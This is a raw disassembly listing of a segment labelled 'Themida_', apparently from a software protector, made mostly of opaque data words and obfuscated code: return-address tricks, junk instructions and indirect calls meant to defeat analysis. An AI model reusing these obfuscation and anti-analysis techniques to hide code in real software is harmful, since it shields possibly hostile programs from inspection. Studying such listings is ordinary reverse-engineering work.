		dd 0B8C08B53h, 7D2h, 258589h, 9D8D060Fh, 611AFB8h, 585BD3FFh
		dd 26ADBD83h, 7400060Fh, 0B8535017h, 7D2h, 258589h, 9D8D060Fh
		dd 611ACA7h, 585BD3FFh,	8B01D180h, 0DC4DB9C0h, 870F7FE4h
		dd 6, 1D98D89h,	85C7060Fh, 60F21ADh, 1,	68CFB70Fh, 0CEE4E7B8h
		dd 1E25B5FFh, 858D060Fh, 60F3AB8h, 8589D0FFh, 60F2A5Dh
		dd 0FF4F858Dh, 8D500611h, 12020C85h, 1685006h, 0FF800000h
		dd 0F2A5D95h, 75C00B06h, 0B585C70Ah, 1060F18h, 68000000h
		dd 0C005DBD4h, 1E25B5FFh, 858D060Fh, 60F3AB8h, 8589D0FFh
		dd 60F2B95h, 0F19C858Dh, 0FF500611h, 0F1CE5B5h,	9D95FF06h
		dd 0B060F32h, 8B0B74C0h, 4F858DD8h, 50061201h, 858DD3FFh
		dd 612014Fh, 9388366h, 85C70A75h, 60F1D81h, 1, 17D95FFh
		dd 0FF25060Fh, 83000000h, 0A7305F8h, 8D85C7h, 1060Fh, 880F0000h
		dd 6, 29C9958Bh, 8D0F060Fh, 0
; ---------------------------------------------------------------------------
		cmp	byte ptr [ebp+611FD5Eh], 0
		jz	loc_57C3DE
		push	0
		push	eax
		call	sub_57C398
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C398	proc near		; CODE XREF: Themida_:0057C390p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_57C398	endp

; ---------------------------------------------------------------------------
		dd 34F08DC8h, 297AFDE6h, 0F22798Dh, 8BD8306h, 61202h, 27840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 20h
; ---------------------------------------------------------------------------


loc_57C3DE:				; CODE XREF: Themida_:0057C387j
		jmp	loc_57DEFD
; ---------------------------------------------------------------------------
		mov	edx, [ebp+60F3149h]
		cmp	dword ptr [ebp+60F1D81h], 0
		jnz	loc_57C4B3
		mov	di, si
		mov	cl, 0EFh
		lea	eax, [ebp+611FD28h]
		sub	ecx, [ebp+60F2CBDh]
		jmp	loc_57C418
; ---------------------------------------------------------------------------
		dd 63BCAFA5h, 5ADEC6E8h, 0B7AA46FDh
; ---------------------------------------------------------------------------


loc_57C418:				; CODE XREF: Themida_:0057C407j
		push	eax
		mov	edx, esi
		push	1
		mov	edi, [ebp+60F2401h]
		push	0
		pusha
		mov	[ebp+60F34F1h],	ecx
		pusha
		xor	[ebp+60F01F1h],	ecx
		add	[ebp+60F0801h],	eax
		popa
		popa
		push	0
		mov	[ebp+60F3455h],	esi
		call	dword ptr [ebp+60F30E1h]
		push	ecx
		adc	cx, 6DE3h
		pop	ecx
		sbb	cl, 0E4h
		mov	[ebp+611FD52h],	eax
		push	0
		push	edx
		call	sub_57C464
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C464	proc near		; CODE XREF: Themida_:0057C45Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_57C464	endp

; ---------------------------------------------------------------------------
		sbb	ebx, eax
		test	al, 0Dh
		pop	ds
		pop	ebp
		cmp	ecx, [eax+6AD38ACBh]
		call	dword ptr [ebx-77h]
		test	ds:59060F18h, eax
		add	[ebp+60F17B9h],	edi
		push	dword ptr [ebp+611FD52h]
		jmp	loc_57C4A2
; ---------------------------------------------------------------------------
		dw 9B92h
		dd 0B643CEE8h
		db 0BDh, 91h
; ---------------------------------------------------------------------------


loc_57C4A2:				; CODE XREF: Themida_:0057C495j
		call	dword ptr [ebp+60F1455h]
		jmp	loc_57C4B3
; ---------------------------------------------------------------------------
		db 0B5h, 0AFh, 0CCh
		db 0F8h, 8Eh, 7Bh
; ---------------------------------------------------------------------------


loc_57C4B3:				; CODE XREF: Themida_:0057C3F0j
					; Themida_:0057C4A8j
		lea	eax, [ebp+611F163h]
		call	near ptr loc_57C4CD+1
		imul	edi, ebx, 0A1BF8F72h
		cmp	eax, 0A55E49D0h
		nop
		out	41h, al		; Timer	8253-5 (AT: 8254.2).
		dec	ecx


loc_57C4CD:				; CODE XREF: Themida_:0057C4B9p
		fld	qword ptr [ecx-7E5FF511h]
		pop	ecx
		pop	ecx
		push	eax
		and	ecx, [ebp+60F1579h]
		call	dword ptr [ebp+60F2389h]
		mov	edi, ecx
		mov	[ebp+611F1EDh],	eax
		or	[ebp+60F1099h],	ebx
		lea	eax, [ebp+611F170h]
		mov	edx, 73EAB67Ah
		push	eax
		mov	ecx, [ebp+60F3231h]
		push	dword ptr [ebp+611F1EDh]
		call	dword ptr [ebp+60F329Dh]
		and	edx, 7166FD97h
		mov	[ebp+60F054Dh],	eax
		add	[ebp+60F0D89h],	esi
		lea	eax, [ebp+611F1DEh]
		push	0
		push	esi
		call	sub_57C531
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C531	proc near		; CODE XREF: Themida_:0057C529p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_57C531	endp

; ---------------------------------------------------------------------------
		sti
		dec	eax
		adc	edx, [ebp+34h]
		jnz	short near ptr loc_57C562+1
		pop	ss
		jle	loc_57C551
		mov	edx, ebx


loc_57C551:				; CODE XREF: Themida_:0057C549j
		push	eax
		push	0
		push	eax
		call	sub_57C55D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C55D	proc near		; CODE XREF: Themida_:0057C555p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax


loc_57C562:				; CODE XREF: Themida_:0057C546j
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_57C55D	endp

; ---------------------------------------------------------------------------
		db 0E0h, 0Fh, 8Fh
		dd 4, 0EC0ABA66h, 0FFCE8B66h, 11F1EDB5h, 0E820F06h, 0E9000000h
		dd 9, 73E53BD8h, 33965505h, 0FFCB8B17h,	0F329D95h, 8589F906h
		dd 611F201h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0B6C35343h, 0B553C1D1h,	0E9771AC9h, 13h, 0D3FAD371h
		dd 1DDF0735h, 0B7071D02h, 2767835Dh, 8D2C2AB2h,	11F1BD85h
		dd 11E806h, 28B70000h, 0C2DDED80h, 3DAA6492h, 0B06FB12Bh
		dd 0FB73E5Fh, 505FD6BFh, 1269958Bh, 0B5FF060Fh,	611F1EDh
		dd 95FFF88Bh, 60F329Dh,	293DBD09h, 0CF8A060Fh, 0F1F98589h
		dd 85090611h, 60F2E55h,	0F1B0858Dh, 8B660611h, 0BF0F50C8h
		dd 0EDB5FFD2h, 6A0611F1h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 7481C356h, 8FB9E6F8h
		dd 2987FB7Ch, 0F19058Dh, 9D95FF06h, 6A060F32h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0F0BAC355h, 603E9EDBh, 0E92FA5F7h, 6, 936DF13Eh, 8589033Eh
		dd 611F1FDh, 1E418D8Bh,	858D060Fh, 611F1CBh, 2BE5BD89h
		dd 0E950060Fh, 14h, 0B16C3446h,	294C006Ah, 1E0E834Eh, 59E50A5h
		dd 302644D2h, 0F1EDB5FFh, 958B0611h, 60F1BA1h, 329D95FFh
		dd 8AF9060Fh, 0D18589ECh, 9060F19h, 0F19CD8Dh, 7F858D06h
		dd 8B0611F1h, 0F29398Dh, 8D335006h, 60F2BEDh, 10A1B589h
		dd 0B5FF060Fh, 611F1EDh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0DAC35646h, 0F8014E77h, 0FFC88BEDh, 0F329D95h
		dd 68F0F06h, 89000000h,	0F29DD9Dh, 4D9D2906h, 89060F1Dh
		dd 11F1F185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0EE67762h, 723CD16Bh, 0F18E858Dh
		dd 6A0611h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0C47955C3h, 0C22D4971h, 0BD330342h, 60F0911h
		dd 19858950h, 0FF060F17h, 11F1EDB5h, 658D8906h,	0FF060F19h
		dd 0F329D95h, 0B70F6006h, 8961F9C2h, 11F1F585h,	0B8F0F06h
		dd 0F000000h, 580h, 0F1816600h,	468E135h, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 1252C357h, 2B55958Bh, 858D060Fh, 611F285h, 6650CF8Bh
		dd 8DC187BAh, 11F38985h, 37DA8106h, 50184DF2h, 0FFFEB70Fh
		dd 0F240595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 13E9829Eh, 0B5000000h, 686FB986h
		dd 8DFC2843h, 0CF63F17Ch, 69592F1Fh, 0BF0F3549h, 0FC085C9h
		dd 685h, 81B58900h, 80060F16h, 11FD5EBDh, 850F0006h, 4Eh
		dd 13E9h, 0B208E500h, 0FC094975h, 23CD6A9Ch, 58FEC032h
		dd 0A4DF1882h, 166CE9h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 5B4D1D40h, 78E75754h
		dd 958B3EB1h, 60F1DC1h,	2D4DB531h, 0BD83060Fh, 60F1D81h
		dd 13850F00h, 8B000000h, 0F1A758Dh, 8BD8306h, 61202h, 44840Fh
		dd 858D0000h, 611F222h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 92C35646h, 0DA51A34Ch, 0FF7CAB5h, 2840Fh
		dd 0F78A0000h, 15E4E9h,	0E58D8B00h, 0E9060F22h,	2Dh, 858D4DB1h
		dd 611F20Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0B8C35242h, 9E64C65Eh, 0D9EA0371h, 6A5008h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0A9827BC3h, 0E8CE7F25h, 9FC178Bh, 0F266595h,	85858D06h
		dd 6A0611F2h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0E07CC352h, 6FE714D4h,	0E93DC716h
		dd 9, 0A2F06B9Fh, 8649A834h, 0F18D31C5h, 89060F2Ah, 0F11E9B5h
		dd 840F5006h, 3, 83CE8B66h, 0F1D81BDh, 840F0006h, 4Eh
		dd 88C0Fh, 8B570000h, 0F0DD5BDh, 858D5906h, 611F3ABh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 19C35141h, 0D981B255h
		dd 8100DFBh, 1DE9h, 0CE900h, 91070000h,	5AB9ABFFh, 45AE06DEh
		dd 858DB10Ah, 611F394h,	33859589h, 6A50060Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 8000C352h, 81936355h, 226019C2h, 0E3858D35h,	660611F3h
		dd 6904CF81h, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 69B96674h, 0FF5BC5C4h, 0F167D95h
		dd 95958B06h, 83060F2Fh, 0C08B10C4h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 5EC35646h, 0F5B589C3h, 0E9060F10h
		dd 6, 1E105689h, 0CE91AB7h, 0A7000000h,	702F0003h, 85499974h
		dd 833CF4B4h, 0F1891BDh, 9750006h, 26ADBD83h, 7400060Fh
		dd 8B535019h, 7D3B8C0h,	85890000h, 60F0025h, 0AFB89D8Dh
		dd 0D3FF0611h, 0BD83585Bh, 60F26ADh, 50177400h,	7D3B853h
		dd 85890000h, 60F0025h,	0ACA79D8Dh, 0D3FF0611h,	0B70F585Bh
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 5E867h, 34580000h, 0B91B090Eh, 5849FD10h
		dd 0BAC08B5Fh, 11D507A9h, 0F20DBD81h, 726F0611h, 840F6165h
		dd 0CAh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Dh,	97C35040h, 7E837EEBh, 0E7F977EBh, 0CD8D01BAh, 8D060F1Bh
		dd 11F28585h, 858D5006h, 611F3C2h, 0E3858D50h, 500611F3h
		dd 167D95FFh, 0C483060Fh, 0FD85C60Ch, 44060F24h, 0A3184F68h
		dd 0E5B5FF96h, 8D060F1Ch, 0F3AB885h, 8BD0FF06h,	0E3858DD8h
		dd 500611F3h, 858DD3FFh, 611F20Dh, 85858D50h, 500611F2h
		dd 1D81BD83h, 7400060Fh, 0AB858D08h, 0EB0611F3h, 94858D06h
		dd 500611F3h, 0F3E3858Dh, 0FF500611h, 0F167D95h, 10C48306h
		dd 6AF9BF0Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 950EC350h, 0FBC1D69h, 95FFD6B7h
		dd 60F017Dh, 0F5EBBF66h, 0FF25h, 0D5958B00h, 83060F0Dh
		dd 830F05F8h, 5Ch, 10E9h, 180D4300h, 0CF5A4010h, 809EE5ACh
		dd 0C3574043h, 8D85C7BEh, 1060F00h, 66000000h, 35BCD781h
		dd 0F241858Dh, 6A0611h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 89AA1CC3h, 0F2C0995h, 0DD858906h
		dd 0E9060F33h, 5Dh, 4DB6B966h, 1D81BD83h, 0F00060Fh, 4084h
		dd 68D0F00h, 89000000h,	0F2A21B5h, 6C858D06h, 90611F2h
		dd 0F0FF1B5h, 2FE906h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 669821C3h, 325EC2BAh
		dd 4E858D42h, 8B0611F2h, 0F30218Dh, 81858906h, 0E90611F2h
		dd 0Ah,	21B7AB8Dh, 0EA9BC47Bh, 0BD8382A1h, 60F1D81h, 16850F00h
		dd 0BF000000h, 2EBB6BE9h, 208BD83h, 0F000612h, 1584h, 30BA6600h
		dd 11BBE970h, 0BD8B0000h, 60F2271h, 1E699D29h, 2DE9060Fh
		dd 8B000005h, 0F14C9BDh, 0BAC08B06h, 0B482A3Ch,	1891BD83h
		dd 7500060Fh, 0ADBD8309h, 60F26h
		dd 53501974h, 0D4B8C08Bh, 89000007h, 0F002585h,	0B89D8D06h
		dd 0FF0611AFh, 83585BD3h, 0F26ADBDh, 17740006h,	0D4B85350h
		dd 89000007h, 0F002585h, 0A79D8D06h, 0FF0611ACh, 89585BD3h
		dd 0F214D8Dh, 12E806h, 345B0000h, 2E184B23h, 2511AFF0h
		dd 5F47A617h, 0BD8E428Fh, 188D8D8Bh, 8B5A060Fh,	56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 81665480h, 3CBADE7h,	0F0D2195h, 3F6806h, 6A000Fh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 5003F7C3h, 8B57A52Ch, 0F0C898Dh, 6A5A06h, 264D958Bh
		dd 6A060Fh, 2EC98D03h, 0BD29060Fh, 60F2D35h, 54D95FFh
		dd 6A060Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD8B0CC3h, 60F3475h, 850FC085h, 6, 316D9533h
		dd 8589060Fh, 611F205h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 39C35141h, 81BED8E1h,	0FE83AAC2h, 89006A23h
		dd 0F314195h, 0F8B70F06h, 9509006Ah, 60F185Dh, 8589006Ah
		dd 60F2B2Dh, 9058D8Bh, 6A060Fh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0FAC35747h,	794EBF76h, 791BA74Fh
		dd 0EE9h, 0B89C8A00h, 0CF8F0267h, 0AC06FC8Bh, 6A255752h
		dd 0DD5CB900h, 858D0FA8h, 611F3E3h, 8D8925B1h, 60F0FF1h
		dd 0B2BF6650h, 31016A34h, 0F129985h, 66016A06h,	1E8BE281h
		dd 0B70F016Ah, 12E8D7h,	168E0000h, 9DADE8D0h, 13F2CEA9h
		dd 0A79DCB87h, 950B6D39h, 9DD28151h, 591EED4Ch,	1FF685Ah
		dd 6A000Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 83BDA2C3h, 0F1D81BDh, 840F0006h, 1Bh, 150D8D8Bh
		dd 858D060Fh, 611F262h,	60A99CB9h, 0BE905h, 0C7BF0000h
		dd 8D1E1F73h, 11F23885h, 6A5006h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0BBCB65C3h, 0D63B535Fh
		dd 336D8D8Bh, 958B060Fh, 60F1E11h, 0C58D8B50h, 0FF060F1Eh
		dd 11F205B5h, 4D950B06h, 0FF060F10h, 11F1F195h,	85EE8A06h
		dd 0E850FC0h, 66000000h, 92E9F88Bh, 89000000h, 0F16E585h
		dd 9858906h, 6A0611F2h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 1670C355h, 95D677D2h
		dd 532B0781h, 0A715D281h, 0B5FF2F30h, 611F209h,	1BA1BD8Bh
		dd 95FF060Fh, 60F19D1h,	217D94B9h, 0FC08561h, 3C85h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0B9ECCA48h, 4A3E2865h, 6E86074h, 4A000000h, 0E2CA1E6Dh
		dd 38DF81FDh, 5E2E051Dh, 9FCEB866h, 29106A61h, 0F0A3985h
		dd 81BD8306h, 60F1Dh, 3E840Fh, 8C0F0000h, 6, 18D9BD31h
		dd 858D060Fh, 611F262h,	81E9h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0BDA4822Ch
		dd 0BD291707h, 60F0D5Dh, 0F238858Dh, 6A0611h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0BA60CBC3h
		dd 7B3BE6CAh, 0BF668846h, 12E847C3h, 0AA000000h, 0E4CD65CCh
		dd 0C10FCBC9h, 452290E1h, 72B2DFB6h, 8E820h, 80080000h
		dd 3B8EB88Dh, 850FA583h, 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edi
		push	eax
		call	sub_57D144
		ja	short locret_57D19F
		das
		retn
; ---------------------------------------------------------------------------
		dd 0E5973316h, 26786617h, 1BB755ECh

; =============== S U B	R O U T	I N E =======================================



sub_57D144	proc near		; CODE XREF: Themida_:0057D12Fp
		and	edx, [ebp+60F2C19h]
		pop	edx
		push	dword ptr [ebp+611F205h]
		push	0
		push	ecx
		call	sub_57D15C
		and	[ecx-3Dh], bl
sub_57D144	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57D15C	proc near		; CODE XREF: sub_57D144+10p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_57D15C	endp

; ---------------------------------------------------------------------------
		dd 0E86483ECh, 14h, 45665A31h, 0E01170B2h, 10998D13h, 2C9B169Bh
		dd 1A782AC6h, 12F98D31h, 0FF5F060Fh, 11F1FD95h,	52006A06h
		dd 3E8h
		db 0, 20h, 5Ah
; ---------------------------------------------------------------------------

locret_57D19F:				; CODE XREF: Themida_:0057D134j
		retn
; ---------------------------------------------------------------------------
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 14h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dd 0CA816680h, 8E0F4BD8h, 6, 2435B589h,	0C085060Fh, 17850Fh
		dd 0BE80000h, 8F000000h, 4E027423h, 148B27E6h, 0E281F8ACh
		dd 9133D32h, 9858959h, 0E90611F2h, 14h,	99D50F1Fh, 61953608h
		dd 0A3CC68D2h, 604404D1h, 2AE0F27Dh, 958B006Ah,	60F2AF1h
		dd 8D89006Ah, 60F1B65h,	59D08B50h, 0F209B5FFh, 0FE90611h
		dd 4C000000h, 0CF2037FBh, 1BC64F92h, 98945D4Eh,	95FFE463h
		dd 611F1F5h, 2681BD8Bh,	73BA060Fh, 855DB4FFh, 6850FC0h
		dd 8B000000h, 0F1595BDh, 9B5FF06h, 0E90611F2h, 0Ch, 0C88C9817h
		dd 0BF65169Dh, 947C5A27h, 19D195FFh, 840F060Fh,	3, 85FEB70Fh
		dd 5850FC0h, 0B9000000h, 28C0E7A4h, 8068006Ah, 51000000h
		dd 24398589h, 6A59060Fh, 0F59D2903h, 6A060F10h,	158D2900h
		dd 6A060F11h, 79BD2300h, 68060F1Eh, 0C0000000h,	59BD8956h
		dd 59060F2Ch, 0F281B5FFh, 6A0611h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 412F77C3h, 12E970h, 786C0000h
		dd 4D88FDFCh, 88AB5018h, 5C0CF6DBh, 2BBDA0F3h, 1A7D95FFh
		dd 8B66060Fh, 0FFF883D3h, 534850Fh, 0B5890000h,	60F01ADh
		dd 0FCEF85FFh, 9E90611h, 33000000h, 88F76D6Dh, 0E7A81267h
		dd 0FCEFBD83h, 0F020611h, 44684h, 99E28000h, 243B858Dh
		dd 0F180005Bh, 0FFD78B7Bh, 1D8589D0h, 8D060F09h, 5B1E8E85h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 761405D0h, 0A1940421h, 26F58D29h, 8166060Fh
		dd 0FFF49AF1h, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 1F313A1Fh, 0FBD5E51h
		dd 118Bh, 0CE900h, 89DE0000h, 2AEFF485h, 0DAF0D347h, 8D33D70Eh
		dd 60F16D9h, 8951C08Bh,	0F013DBDh, 0BD835A06h, 60F1891h
		dd 83097500h, 0F26ADBDh, 19740006h, 0C08B5350h,	7D8B8h
		dd 25858900h, 8D060F00h, 11AFB89Dh, 5BD3FF06h, 0ADBD8358h
		dd 60F26h, 53501774h, 7D8B8h, 25858900h, 8D060F00h, 11ACA79Dh
		dd 5BD3FF06h, 0F9BD0358h, 8B060F31h, 0F013D95h,	0FC08B06h
		dd 685h, 0E18D8B00h, 68060F34h,	0F003Fh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 46C35141h, 0D5C0AFB9h
		dd 0FDC3EC74h, 0BF0F006Ah, 0F006AD7h, 489h, 0BDBF6600h
		dd 4D95FFE1h, 60060F05h, 55E98166h, 61CEB1DCh, 0BF66C085h
		dd 8D8BCAC8h, 60F2565h,	0F2058589h, 0DE80611h, 0C9000000h
		dd 1C63D0D7h, 0DBE8FED0h, 0D3A02996h, 0BE9h, 7AC95500h
		dd 27C1DD12h, 906537Ch,	1FF685Ah, 8531000Fh, 60F00C1h
		dd 0D842BA66h, 1D81BD83h, 0F00060Fh, 5184h, 4D858900h
		dd 8B060F26h, 0F331995h, 62858D06h, 290611F2h, 0F2401B5h
		dd 56E906h, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0EC647CC3h, 654D2F93h, 8E93764h
		dd 0D1000000h, 0C974A0B4h, 80A9443Bh, 858D92E6h, 611F238h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 3DC35545h
		dd 51006A50h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 4DA818F5h, 0B113CEB8h, 0D08B662Ah, 0F205B5FFh
		dd 47B10611h, 0F1FD95FFh, 0BD230611h, 60F3339h,	89CB8B66h
		dd 11F20985h, 3C4EBF06h, 85C76FC5h, 60F15B1h, 0
; ---------------------------------------------------------------------------
		pusha
		mov	edx, 0F337537h
		jge	loc_57D59C
		jmp	loc_57D59C
; ---------------------------------------------------------------------------
		add	ch, [esi+ecx*2-6A8EC798h]


loc_57D59C:				; CODE XREF: Themida_:0057D58Aj
					; Themida_:0057D590j
		popa
		jz	loc_57D5A9
		mov	edi, [ebp+60F1021h]


loc_57D5A9:				; CODE XREF: Themida_:0057D59Dj
		cmp	dword ptr [ebp+611F209h], 0
		jz	loc_57D764
		push	0
		push	ebp
		call	sub_57D5C1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D5C1	proc near		; CODE XREF: Themida_:0057D5B9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_57D5C1	endp

; ---------------------------------------------------------------------------
		db 3Ch,	0Fh, 8Bh
		dd 2, 858D76B6h, 611F4E7h, 3150CE8Bh, 0F33DD85h, 0F016A06h
		dd 689h, 800F00h, 8B000000h, 0F243595h,	9B5FF06h, 0E90611F2h
		dd 6, 0A853FEDDh, 95FFA27Eh, 611F201h, 0B5FF93B6h, 611F209h
		dd 0D195FFF8h, 6A060F19h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 6843C353h, 0F01FFh
		dd 11E8h, 0F8A8FD00h, 960F8AFAh, 0DF4726F5h, 0D107B5Dh
		dd 0F600F97h, 81h, 0AE900h, 0AA840000h,	0E81B585Dh, 88268C4Eh
		dd 0BD835A61h, 60F1D81h, 28840F00h, 89000000h, 0F3219B5h
		dd 62858D06h, 30611F2h,	0F270995h, 68A0F06h, 23000000h
		dd 0F283995h, 11E906h, 0F58A0000h, 8DFE8B66h, 11F23885h
		dd 0F5958B06h, 50060F08h, 0FFCABF0Fh, 11F205B5h, 0DDBD8B06h
		dd 0E9060F26h, 8, 41BA7177h, 81EFBD5h, 0F1FD95FFh, 85890611h
		dd 611F209h, 0C1D28166h, 9B5FFB5h, 890611F2h, 0F2379BDh
		dd 0F995FF06h, 6A0611F1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0DB48C352h,	6BC0E5B6h
		dd 8D313373h, 60F0559h,	0F209B5FFh, 0FC570611h,	0D195FF5Fh
		dd 6A060F19h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0AFF4C352h, 0EE5CB9D5h, 0B9E89CDAh
		dd 6810Fh, 0D2810000h, 7608AC79h, 663EC180h, 4666D181h
; ---------------------------------------------------------------------------


loc_57D764:				; CODE XREF: Themida_:0057D5B0j
		jmp	near ptr dword_57C570+7E9h
; ---------------------------------------------------------------------------
		or	[ebp+60F1369h],	ebx
		push	dword ptr [ebp+611FD52h]
		mov	edx, 62C0545Ah
		call	dword ptr [ebp+60F2A05h]
		mov	[ebp+60F3409h],	edx
		mov	eax, [ebp+60F23A5h]
		push	0
		push	ebp
		call	sub_57D797
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D797	proc near		; CODE XREF: Themida_:0057D78Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_57D797	endp

; ---------------------------------------------------------------------------
		xor	al, 43h
		adc	al, 0C4h
		and	dh, cl
		jmp	loc_57DCF0
; ---------------------------------------------------------------------------
		stc
		lea	esi, [ebp+611F507h]
		push	0
		push	ecx
		call	sub_57D7C4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D7C4	proc near		; CODE XREF: Themida_:0057D7BCp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_57D7C4	endp

; ---------------------------------------------------------------------------
		cdq
		mov	esp, 245D8589h
		clts
		lea	eax, [ebp+611A270h]
		mov	edx, [ebp+60F2905h]
		call	eax
		mov	edi, ecx
		push	0
		mov	ecx, [ebp+60F0D71h]
		call	dword ptr [ebp+60F2275h]
		mov	ecx, [ebp+60F33F1h]
		mov	esi, ebx
		lea	eax, [ebp+611A270h]
		clc
		call	eax
		jmp	loc_57D822
; ---------------------------------------------------------------------------
		dd 5C7EE93h, 0E7AED871h, 9F46D819h, 0F191216Dh
		db 7Eh,	49h
; ---------------------------------------------------------------------------


loc_57D822:				; CODE XREF: Themida_:0057D80Bj
		push	0
		sub	edi, [ebp+60F19F1h]
		call	dword ptr [ebp+60F2275h]
		mov	[ebp+60F2B89h],	edx
		mov	eax, eax
		mov	[ebp+60F0835h],	esi
		cmp	dword ptr [ebp+60F1891h], 0
		jnz	short loc_57D850
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_57D869


loc_57D850:				; CODE XREF: Themida_:0057D845j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D9h
		mov	[ebp+60F0025h],	eax
		lea	ebx, [ebp+611AFB8h]
		call	ebx
		pop	ebx
		pop	eax


loc_57D869:				; CODE XREF: Themida_:0057D84Ej
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_57D889
		push	eax
		push	ebx
		mov	eax, 7D9h
		mov	[ebp+60F0025h],	eax
		lea	ebx, [ebp+611ACA7h]
		call	ebx
		pop	ebx
		pop	eax


